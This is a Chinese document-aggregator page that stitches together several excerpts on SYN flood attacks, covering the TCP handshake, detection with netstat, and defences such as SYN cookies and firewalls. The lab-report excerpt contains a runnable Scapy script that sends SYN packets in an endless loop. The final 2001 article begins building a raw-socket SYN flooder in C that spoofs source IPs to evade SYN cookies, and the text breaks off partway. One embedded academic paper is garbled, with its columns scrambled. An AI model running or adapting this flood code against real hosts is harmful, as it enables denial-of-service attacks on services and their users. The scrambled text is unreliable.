SYN Flood攻击的基本原理及防御

合集下载

SYNFlood攻击

SYNFlood攻击什么是SYN Flood攻击？SYN泛洪（半开放式攻击）是⼀种，旨在通过消耗所有可⽤的服务器资源来使服务器⽆法⽤于合法流量。

通过重复发送初始连接请求（SYN）数据包，攻击者可以淹没⽬标服务器计算机上的所有可⽤端⼝，从⽽使⽬标设备对合法流量的响应缓慢或完全不响应。

SYN Flood攻击如何⼯作？SYN Flood攻击通过利⽤连接的握⼿过程来⼯作。

在正常情况下，TCP连接表现出三个不同的过程以进⾏连接。

1. ⾸先，客户端将SYN数据包发送到服务器以启动连接。

2. 然后，服务器使⽤SYN / ACK数据包响应该初始数据包，以便确认通信。

3. 最后，客户端返回⼀个ACK数据包，以确认已从服务器接收到该数据包。

完成发送和接收数据包的顺序之后，TCP连接将打开并能够发送和接收数据。

为了创建，攻击者利⽤以下事实：接收到初始SYN数据包后，服务器将以⼀个或多个SYN / ACK数据包进⾏响应，并等待握⼿的最后⼀步。

运作⽅式如下：1. 攻击者通常使⽤IP地址将⼤量SYN数据包发送到⽬标服务器。

2. 然后，服务器响应每个连接请求，并保留⼀个开放的端⼝以准备接收响应。

3. 当服务器等待永远不会到达的最终ACK数据包时，攻击者将继续发送更多SYN数据包。

每个新的SYN数据包的到来使服务器暂时维持新的开放端⼝连接⼀段时间，⼀旦所有可⽤端⼝都被利⽤，服务器将⽆法正常运⾏。

在⽹络中，当服务器使连接保持打开状态但连接另⼀端的计算机未打开时，该连接被视为半打开。

在这种DDoS攻击中，⽬标服务器会不断离开开放的连接，并等待每个连接超时，然后端⼝才能再次可⽤。

结果是，这种类型的攻击可以被视为“半开放式攻击”。

SYN泛滥可以通过三种不同的⽅式发⽣：1. 直接攻击：未被欺骗的SYN泛洪称为直接攻击。

在这种攻击中，攻击者根本不会掩盖其IP地址。

由于攻击者使⽤具有真实IP地址的单个源设备来发起攻击，因此攻击者极易受到发现和缓解的影响。

[原创]SYNflood攻击原理

[原创]SYNflood攻击原理剖析"拒绝服务"攻击-SYN拒绝服务一、洪水——大自然对人类的报复每一年，自然界都要用各种方式去报复人们对它做的一切，例如洪水。

每一年，人们都要为洪水后满地的狼籍和可能造成的人员伤亡和财产损失而发愁。

为了抵抗洪水，人们砍伐树木挖采岩石建造更高的堤坝;为了破坏这些堤坝，大自然发起更猛烈的洪水冲垮这些防护措施。

在大自然与人类抗衡的同时，网络上也有人与人之间的抗衡。

每一年，有些人总要不断试验各种令某些网站长时间无法访问的攻击方法。

每一年，投资者都要因为这些网站被恶意停止所造成的经济损失头痛。

为了抵抗这些人的攻击，技术人员研究各种方法让这些攻击造成的损失降低;为了各种目的，攻击者们研究更多的攻击方法让网站再次瘫痪。

这种攻击被称为“Denial of Service(DoS)”，臭名昭著的“拒绝服务”攻击。

它通常使用不只一台机器进行攻击，攻击者能同时控制这些机器，这种结构就是“Distributed”，分布式。

所以，我们要讨论的拒绝服务，默认都是指“Distributed Denialof Service(DDoS)”，分布式拒绝服务。

二、面对洪水……1.洪水以外的东西——被滥用的SYN拒绝服务(Synchronize Denial of Service)当一个地区即将发生洪水(或者已经发生)的时候，当地居民的表现很少有镇定的:东奔西跑的、收拾财物的、不知所措的……整个城镇乱成一锅粥，造成的后果就是街道交通混乱，谁也跑不了。

这个问题到了网络上，就变成了一堆数据包只能在服务器外面乱撞而不入。

为什么会这样,因为攻击者使用了SYN攻击。

要明白SYN攻击的原理，要从连接建立的过程开始说起。

从我们输入一个网址到我们能看到这个网页，机器在非常短的时间内为我们做了三件重要的事情:1.机器发送一个带有“ SYN”(同步)标志的数据包给服务器，请求连接;2.服务器返回一个带有SYN标志和ACK(确认)标志数据包给机器;3.机器也返回一个ACK确认标志数据包给服务器，数据传输建立。

SYN FlOOD攻击原理、检测及防御

法和防御的方法。
关键词：ＳＹＮＦｌｏｏ务攻击和分布式拒绝服务攻击是网络攻击方式中危害极３ＳＹＮＦｌｏｏｄ攻击检测大的攻击，和其他的网络攻击不同，拒绝服务攻击不是对攻击目标的３．１传统检测方法系统和数据进行危害，而是对攻击目标的网络进行耗尽，同时对系统种是查看本地连接是否有大量的半开连接队列，但这个方法的操作面临着资源不断减少的情况，这样就会导致攻击目标的服务不是很准确。另一种是给每一个请求连接的ＩＰ地址分配一个Ｃｏｏｋｉｅ．器系统出现崩溃的情况，使得用户无法使用网络服务。ＳＮＹＦＬＯＯＤ如果短时间内连续受到某个ＩＰ的重复ＳＹＮ包，就认定是受到了攻就是拒绝服务攻击和分布式拒绝服务攻击的重要方式之一，如果攻击，以后从这个ＩＰ地址来的包会被丢弃。由于ＳＹＮ包的源ＩＰ地址可击的目标是支持ＴＣＰ应用的，那么这种攻击方式就可以对攻击目标以随意伪造，ＳＹＮＦＩｏｏｄ攻击可以很容易规避ＳＹＮＣｏｏｋｉｅ检测。的所有网络连接进行攻击，同时使用户无法正常进行网络的访问，３．２牛顿均差插值检测法ＳＮＹＦＬＯＯＤ攻击的原理就是利用ＴＣＰ协议在建立连接的时候三次插值法利用函数ｆ（ｘ）在某区间中若干点的函数值，作出适当的特握手的缺陷，同时利用ＩＰ的欺骗技术。为了更好的解决这种攻击方定函数，在这些点上取已知值，在区间的其他点上用这特定函数的值式，对ＳＹＮＦＬＯＯＤ攻击进行必要的检测是非常重要的，在检测方面作为函数ｆ（ｘ）的近似值。如果这特定函数是多项式，就称它为插值多人们已经在使用一些方法的，同时在防御方法上人们也找到了一些项式。利用插值基函数很容易得到拉格朗日插值多项式，公式结构紧措施，可以通过修改系统的配置，采用必要的防火墙或者只允许合法凑，在理论分析中甚为方便，但当插值节点增减时全部插值基函数均的ＩＰ源在设备上进行使用，这样进行网络连接的时候才能避免出现要随之变化，整个公式也将发生变化，这在实际计算中是很不方便的，为了克服这一缺点，提出了牛顿插值。ＩＰ欺骗的情况。１ＴＣＰ三次握手４攻击防御只要服务器提供ＴＣＰ应用，攻击者就可以进行ＳＹＮＦｌｏｏｄ攻击，ＴＣＰ是传输控制协议的简称，它是一种传输层协议，在使用的时候主要是进行面向连接。面向连接是一种数据在传输的时候建立起而且ＳＹＮＦｌｏｏｄ攻击一般很难以防御和追踪，现介绍几种防御办法。来的虚电路连接，在进行连接的时候主要是对客户端和服务器之间４．１修改系统配置进行连接。这个连接的过程通常被人们称作为ＴＣＰ的三次握手。ＴＣＰ我们可以修改系统支持的最大ＴＣＰ连接数以及通过负载均衡等的第一次握手是客户端向服务器发送ＳＹＮ包，并且要在系统缓存中来提高防御ＳＹＮＦｌｏｏｄ攻击能力。开辟～个空间来对服务器的请求进行处理，这时候连接的状态表现４．２采用防火墙为ＳＹＮ的发送状态。ＴＣＰ的第二次握手是服务器收到ＳＹＮ包之后，防火墙通常用于保护内部网络不受外部网络的非授权访问，它对客户发送的ＳＹＮ包进行确认，然后向客户端发送ＳＹＮ＋ＡＣＫ包这位于客户端和服务器之间。由于防火墙所能处理的半开连接数远大时在系统的缓存区域同时也是要开辟一块空间对客户端的请求进行于服务器所能处理的半开连接数以及根据ＳＹＮＦｌｏｏｄ攻击特性，因ＤＯＳ攻击有效地保护内部的服务器。处理，这时的连接状态是ＳＹＮ的接收状态。ＴＣＰ的第三次握手是客此防火墙可以用来阻止Ｄ户端收到服务器发送的ＳＹＮ＋ＡＣＫ包，然后将ＡＣＫ包重新发送给服４．３边缘路由设备只允许合法源ＩＰ进入网络务器，服务器收到ＡＣＫ包以后，客户端和服务器的连接就完成了，三通过在边界路由设备上配置访问控制列表只允许合法源ＩＰ地这样会大大过滤掉ＳＹＮＦｌｏｏｄ攻击流量．即使部分利次握手也就完成了，这时客户端和服务器就可以进行数据的传输了。址才能访问网络．２ＳＹＮＦＬＯＯＤ攻击原理用合法源ＩＰ地址进行的攻击．也非常容易被追踪。这是目前解决互联网ＳＹＮＦｌｏｏｄ攻击最有效的办法。２．１ＴＣＰ握手缺陷５结束语ＴＣＰ的第二次握手时，服务器在收到客户端发送的ＳＹＮ包以后，要在系统的缓存中对客户的请求进行处理，同时服务器要向客户为了更好的对ＳＹＮＦＬＯＯＤ攻击原理进行掌握，同时对传统的进而找到更加准确的检测方法，在检测方法端发送ＳＹＮ＋ＡＣＫ包，在没有ＳＹＮＦＬＯＯＤ攻击的情况下，也可能会攻击检测方法进行分析，出现因为网络的原因导致服务器在一定的时间内无法收到ＡＣＫ包，进行分析的时候对防御的方法也能进行必要的分析。ＳＹＮＦＬＯＯＤ在收到ＳＹＮＦＬＯＯＤ攻击以后，服务器会不断的进行ＳＹＮ＋ＡＣＫ包攻击方式是与其他攻击方式不同的攻击，在进行攻击的时候，不需要的传输，这样就会导致缓存不断要进行空间的预留，进而出现系统缓使用木马等程序就能对攻击目标进行攻击，只是需要攻击目标在使ＣＰ服务即可。现在，网络应用规模越来越大，为了更好的利用网存不断释放的情况，这时的ＳＹＮＦＬＯＯＤ攻击就是利用的ＴＣＰ握手用Ｔ络，一定要提高网络的使用安全，拒绝服务攻击的危害越来越严重，时出现的缺陷。需要提高全网用户的网络安全防护意识和技术水平以及需要网络服２．２ＩＰ欺骗在网络中，路由设备要根据数据包的目标ＩＰ地址进行数据包的务提供商和用户进行共同防御。拒绝服务攻击将仍是我们必须重点传输，使数据包传输到目的端，在这个过程中，对源ＩＰ地址是不会进防范和研究的网络安全的威胁之一。参考文献行检查的，这样也就为ＳＹＮＦＬＯＯＤ的攻击提供了一个便利的条件。ＳＹＮＦＬＯＯＤ进行攻击的时候，可以对源ＩＰ的地址进行随意的伪［１］胡伟栋，汪为农．分布式拒绝服务攻击及其防范叨．计算机工程，２０００造，使源ＩＰ地址在进行追踪的时候非常难进行，尽管ＳＹＮＦＬＯＯＤ（１０）．可以通过这种方式来进行攻击，同时也可以找到防御的方法。［２１－￥卫．Ｉｎｔｅｒｎｅｔ网络层安全协议理论研究与实现叨．计算机学报，１９９９

TCP洪水攻击（SYNFlood）的诊断和处理

TCP洪⽔攻击（SYNFlood）的诊断和处理SYN Flood是当前最流⾏的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的⽅式之⼀，这是⼀种利⽤TCP协议缺陷，发送⼤量伪造的TCP连接请求，常⽤假冒的IP或IP号段发来海量的请求连接的第⼀个握⼿包（SYN包），被攻击服务器回应第⼆个握⼿包（SYN+ACK 包），因为对⽅是假冒IP，对⽅永远收不到包且不会回应第三个握⼿包。

导致被攻击服务器保持⼤量SYN_RECV状态的“半连接”，并且会重试默认5次回应第⼆个握⼿包，塞满TCP等待连接队列，资源耗尽（CPU满负荷或内存不⾜），让正常的业务请求连接不进来。

详细的原理，⽹上有很多介绍，应对办法也很多，但⼤部分没什么效果，这⾥介绍我们是如何诊断和应对的。

诊断我们看到业务曲线⼤跌时，检查机器和DNS，发现只是对外的web机响应慢、CPU负载⾼、ssh登陆慢甚⾄有些机器登陆不上，检查系统syslog：tail -f /var/log/messagesApr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.检查连接数增多，并且SYN_RECV 连接特别多：netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 16855CLOSE_WAIT 21SYN_SENT 99FIN_WAIT1 229FIN_WAIT2 113ESTABLISHED 8358SYN_RECV 48965CLOSING 3LAST_ACK 313根据经验，正常时检查连接数如下：netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 42349CLOSE_WAIT 1SYN_SENT 4FIN_WAIT1 298FIN_WAIT2 33ESTABLISHED 12775SYN_RECV 259CLOSING 6LAST_ACK 432以上就是TCP洪⽔攻击的两⼤特征。

泛洪攻击实验报告(3篇)

第1篇一、实验背景随着互联网技术的飞速发展，网络安全问题日益凸显。

其中，泛洪攻击作为一种常见的网络攻击手段，给网络系统带来了极大的威胁。

为了深入了解泛洪攻击的原理和防御方法，我们进行了本次泛洪攻击实验。

二、实验目的1. 理解泛洪攻击的原理和危害；2. 掌握泛洪攻击的实验方法；3. 学习防御泛洪攻击的策略。

三、实验环境1. 操作系统：Windows 102. 虚拟机软件：VMware Workstation3. 实验工具：Scapy四、实验原理泛洪攻击是一种利用目标系统资源耗尽而导致的拒绝服务攻击。

攻击者通过发送大量数据包或请求，使目标系统无法正常处理正常用户请求，从而达到拒绝服务的目的。

常见的泛洪攻击类型包括：1. TCP SYN泛洪攻击：利用TCP三次握手过程中的漏洞，发送大量伪造的SYN请求，使目标系统处于半连接状态，消耗系统资源。

2. UDP泛洪攻击：发送大量UDP数据包，使目标系统无法正常处理正常数据。

3. ICMP泛洪攻击：发送大量ICMP请求，使目标系统无法正常处理网络请求。

五、实验步骤1. 准备实验环境（1）在VMware Workstation中创建两台虚拟机，分别作为攻击者和目标系统。

（2）在攻击者虚拟机上安装Scapy工具。

2. 编写攻击脚本（1）使用Scapy编写TCP SYN泛洪攻击脚本，如下所示：```pythonfrom scapy.all importdef syn_flood(target_ip, target_port):while True:syn_packet = IP(dst=target_ip) / TCP(sport=RandShort(), dport=target_port, flags="S")send(syn_packet)if __name__ == "__main__":target_ip = "192.168.1.2"target_port = 80syn_flood(target_ip, target_port)```（2）运行攻击脚本，对目标系统进行TCP SYN泛洪攻击。

syn_flood攻击原理

syn_flood攻击原理SYN flood攻击是一种常见的网络攻击手段，其原理是通过发送大量伪造的TCP连接请求（SYN包），占用服务器的资源，使其无法处理正常的连接请求，进而导致服务不可用。

下面将详细介绍SYN flood攻击的工作原理。

SYN flood攻击利用了TCP协议的三次握手过程。

在正常情况下，TCP连接的建立需要客户端发送一个SYN包给服务器，服务器收到后返回一个SYN+ACK包给客户端，最后客户端发送一个ACK包给服务器，即完成了三次握手，建立了正常的TCP连接。

而SYN flood攻击利用了这个过程的缺陷，即没有限制SYN请求的数量和源地址。

攻击者向目标服务器发送大量的伪造的源IP地址和端口的SYN包，服务器接收到这些SYN包后，会回复相应的SYN+ACK包，但攻击者并不回复ACK包，也就是第三次握手的ACK包。

正常情况下，服务器在指定的时间内没有收到ACK包会重新发送SYN+ACK包，等待客户端再次回复ACK包。

但是在SYN flood攻击中，攻击者发送大量的伪装的SYN请求，服务器不断地回复SYN+ACK包，并等待ACK包的回复，这使得服务器的资源被耗尽，无法处理其他的正常请求。

SYN flood攻击主要有两种方式：常规SYN flood和分片SYN flood。

常规SYN flood攻击使用普通的SYN包发送大量的请求，这些请求既可以是伪造的源IP地址和端口的请求，也可以是真实的请求，攻击的主要目标是让服务器的资源耗尽。

分片SYN flood攻击是对常规SYN flood攻击的改进。

由于IP包的长度有限，攻击者将一个SYN包分成多个片段发送给服务器。

在接收到第一个片段时，服务器会进行资源分配，并等待片段的其余部分。

但攻击者并不发送剩余的片段，导致服务器一直等待这个SYN请求，从而占用更多的资源。

为了对抗SYN flood攻击，通常有以下几个方法：1.加强服务器的防火墙和安全策略，限制并过滤恶意的IP地址和请求。

防火墙-流量型攻击之SYN Flood及防御

防火墙-流量型攻击之SYN Flood及防御大家好，作者和你们又见面了！上一期作者带着大家一起了解了单包攻击的基本防御知识，知道了单包攻击的几大类型，以及防火墙支持防御的攻击种类。

但是，在现网中单包攻击只占了很小一部分比例，更多的攻击还是集中在流量型攻击和应用层攻击。

本期作者将继续为大家讲解一下现网上常见的流量型攻击。

过去，攻击者所面临的主要问题是网络带宽，由于较小的网络规模和较慢的网络速度的限制，攻击者无法发出过多的请求。

虽然类似“Ping of Death”的攻击类型只需要较少量的包就可以摧毁一个没有打过补丁的操作系统，但大多数的DoS攻击还是需要相当大的带宽，而以个人为单位的黑客们很难消耗高带宽的资源。

为了克服这个缺点，DoS攻击者开发了分布式的攻击。

木马成为黑客控制傀儡的工具，越来越多的计算机变成了肉鸡，被黑客所利用，并变成了他们的攻击工具。

黑客们利用简单的工具集合许多的肉鸡来同时对同一个目标发动大量的攻击请求，这就是DDoS(Distributed Denial of Service)攻击。

随着互联网的蓬勃发展，越来越多的计算机不知不觉的被利用变成肉鸡，攻击逐渐变成一种产业。

提起DDoS攻击，大家首先想到的一定是SYN Flood攻击。

今天作者就给大家详细说说SYN flood的攻击和防御。

最初的SYN Flood攻击类似于协议栈攻击，在当年的攻击类型中属于技术含量很高的“高大上”。

当年由于系统的限制以及硬件资源性能的低下，称霸DDoS攻击领域很久。

它与别人的不同在于，你很难通过单个报文的特征或者简单的统计限流防御住它，因为它“太真实”、“太常用”。

SYN Flood具有强大的变异能力，在攻击发展潮流中一直没有被湮没，这完全是他自身的优秀基因所决定的：1.单个报文看起来很“真实”，没有畸形。

2.攻击成本低，很小的开销就可以发动庞大的攻击。

2014年春节期间，某IDC的OSS系统分别于大年初二、初六、初七连续遭受三轮攻击，最长的一次攻击时间持续将近三个小时，攻击流量峰值接近160Gbit/s！事后，通过对目标和攻击类型分析，基本可以判断是有一个黑客/黑客组织发起针对同一目标的攻击时间。

SYNFlOOD攻击原理、检测及防御

SYNFlOOD攻击原理、检测及防御SYN LLOOD是现在比较常见的攻击方式，它可以利用TCP协议的缺陷来对TCP连接请求进行伪造，进而导致CPU在资源方面出现耗尽的情况，或者是导致CPU出现内存不足的情况。

在对SYN FLOOD攻击进行分析的时候可以从TCP三次握手和握手的时候出现的缺陷，同时在IP方面出现的欺骗进行分析，这样可以更好的对SYN FLOOD 进行分析，进而找到检测的方法和防御的方法。

标签：SYN Flood攻击；检测；防御拒绝服务攻击和分布式拒绝服务攻击是网络攻击方式中危害极大的攻击，和其他的网络攻击不同，拒绝服务攻击不是对攻击目标的系统和数据进行危害，而是对攻击目标的网络进行耗尽，同时对系统的操作面临着资源不断减少的情况，这样就会导致攻击目标的服务器系统出现崩溃的情况，使得用户无法使用网络服务。

SNY FLOOD就是拒绝服务攻击和分布式拒绝服务攻击的重要方式之一，如果攻击的目标是支持TCP应用的，那么这种攻击方式就可以对攻击目标的所有网络连接进行攻击，同时使用户无法正常进行网络的访问，SNY FLOOD攻击的原理就是利用TCP协议在建立连接的时候三次握手的缺陷，同时利用IP的欺骗技术。

为了更好的解决这种攻击方式，对SYN FLOOD攻击进行必要的检测是非常重要的，在检测方面人们已经在使用一些方法的，同时在防御方法上人们也找到了一些措施，可以通过修改系统的配置，采用必要的防火墙或者只允许合法的IP源在设备上进行使用，这样进行网络连接的时候才能避免出现IP欺骗的情况。

1 TCP三次握手TCP是传输控制协议的简称，它是一种传输层协议，在使用的时候主要是进行面向连接。

面向连接是一种数据在传输的时候建立起来的虚电路连接，在进行连接的时候主要是对客户端和服务器之间进行连接。

这个连接的过程通常被人们称作为TCP的三次握手。

TCP的第一次握手是客户端向服务器发送SYN包，并且要在系统缓存中开辟一个空间来对服务器的请求进行处理，这时候连接的状态表现为SYN 的发送状态。

1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。

SYN Flood攻击的基本原理及防御创建时间：2001-06-28文章属性：转载文章来源：/syn.htm文章提交：xundi (xundi_at_)Shotgun首发于天极网第一部分SYN Flood的基本原理SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。

要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起：大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的：首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号；第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。

第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。

问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。

实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。

从防御角度来说，有几种简单的解决方法，第一种是缩短SYN Timeout时间，由于SYN Flood 攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度x SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。

第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。

可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。

第二部份SYN Flooder源码解读下面我们来分析SYN Flooder的程序实现。

首先，我们来看一下TCP报文的格式：0 1 2 3 4 5 60 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| ＩＰ首部| ＴＣＰ首部| ＴＣＰ数据段|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+图一TCP报文结构如上图所示，一个TCP报文由三个部分构成：20字节的IP首部、20字节的TCP首部与不定长的数据段，（实际操作时可能会有可选的IP选项，这种情况下TCP首部向后顺延）由于我们只是发送一个SYN信号，并不传递任何数据，所以TCP数据段为空。

TCP首部的数据结构为：0 1 2 30 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 十六位源端口号| 十六位目标端口号|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 三十二位序列号|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 三十二位确认号| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 四位| |U|A|P|R|S|F| | | 首部|六位保留位|R|C|S|S|Y|I| 十六位窗口大小|| 长度| |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 十六位校验和| 十六位紧急指针| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 选项（若有）| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 数据（若有）| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+图二TCP首部结构根据TCP报文格式，我们定义一个结构TCP_HEADER用来存放TCP首部：typedef struct _tcphdr{USHORT th_sport; //16位源端口USHORT th_dport; //16位目的端口unsigned int th_seq; //32位序列号unsigned int th_ack; //32位确认号unsigned char th_lenres; //4位首部长度+6位保留字中的4位unsigned char th_flag; //2位保留字+6位标志位USHORT th_win; //16位窗口大小USHORT th_sum; //16位校验和USHORT th_urp; //16位紧急数据偏移量}TCP_HEADER;通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2（二进制的00000010）我们能制造一个SYN的TCP报文，通过大量发送这个报文可以实现SYN Flood的效果。

但是为了进行IP欺骗从而隐藏自己，也为了躲避服务器的SYN Cookie检查，还需要直接对IP首部进行操作：0 1 2 30 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 版本| 长度| 八位服务类型| 十六位总长度|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 十六位标识| 标志| 十三位片偏移|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 八位生存时间| 八位协议| 十六位首部校验和|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 三十二位源ＩＰ地址|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 三十二位目的ＩＰ地址|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 选项（若有）|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| 数据|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+图三IP首部结构同样定义一个IP_HEADER来存放IP首部typedef struct _iphdr{unsigned char h_verlen; //4位首部长度+4位IP版本号unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度（字节）unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位unsigned char ttl; //8位生存时间TTLunsigned char proto; //8位协议号(TCP, UDP 或其他)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IP_HEADER;然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERL APPED));建立一个原始套接口，由于我们的IP源地址是伪造的，所以不能指望系统帮我们计算IP校验和，我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和：flag=TRUE;setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,然后计算整个IP首部（包括选项）的二进制反码的和，一个标准的校验和函数如下所示：USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size -=sizeof(USHORT);}if(size ) cksum += *(UCHAR*)buffer;cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}这个函数并没有经过任何的优化，由于校验和函数是TCP/IP协议中被调用最多函数之一，所以一般说来，在实现TCP/IP栈时，会根据操作系统对校验和函数进行优化。